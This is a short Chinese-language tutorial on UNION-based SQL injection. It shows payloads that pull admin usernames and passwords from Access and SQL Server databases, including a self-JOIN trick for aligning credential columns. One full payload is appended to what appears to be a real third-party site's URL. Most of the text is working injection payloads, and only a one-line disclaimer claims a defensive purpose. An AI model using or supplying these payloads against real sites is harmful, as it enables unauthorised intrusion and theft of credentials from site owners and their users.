本文深入探討 SQL Injection 中 UNION 注入技巧,示範如何在不知道欄位名稱、錯誤訊息被關閉的情況下,快速從 Access 與 SQL Server 資料庫提取敏感資料(如帳號密碼)。
當兩個 SELECT 查詢的欄位數量相同時,UNION 會將後者結果合併顯示。攻擊者可注入惡意 UNION SELECT,將原本頁面顯示的欄位替換為敏感資料表的內容。
假設原查詢:SELECT * FROM Soft WHERE SoftID=3903
注入 Payload:3903 UNION SELECT username,password,1,1,1 FROM admin
若前端頁面顯示第 1、2 個欄位,即會洩露 admin 表的帳號密碼。
使用 * 代替欄位名,配合 1 湊齊欄位數:
UNION SELECT 1,* FROM Admin_UserInfo WHERE username<>''
關鍵在於調整 * 的位置,使其對齊到前端會顯示的欄位位置。
Access 查詢結果會將 * 代表的欄位永遠放在最後,導致無法像 SQL Server 那樣透過移動 * 位置來對齊顯示欄位。
透過將同一張表多次 INNER JOIN 自己,展開欄位順序,使敏感欄位落在可見位置:
SELECT 1,*
FROM (((admin AS a INNER JOIN admin AS b ON a.id=b.id)
INNER JOIN admin AS c ON c.id=b.id)
INNER JOIN admin AS d ON d.id=c.id)
INNER JOIN admin AS e ON e.id=d.id
查詢結果會展開為:1, a.id, a.name, a.pwd, b.id, b.name, b.pwd, ...
第 3、7 欄位即為 username、password,剛好落在前端顯示區塊。
https://www.hnp2p.com/mov/view.asp?id=1916 UNION SELECT 1,* FROM
(((admin AS a INNER JOIN admin AS b ON a.id=b.id)
INNER JOIN admin AS c ON c.id=b.id)
INNER JOIN admin AS d ON d.id=c.id)
INNER JOIN admin AS e ON e.id=d.id
SELECT、INSERT 必要權限⚠️ 本文僅供安全研究與防禦教學,嚴禁用於非法攻擊。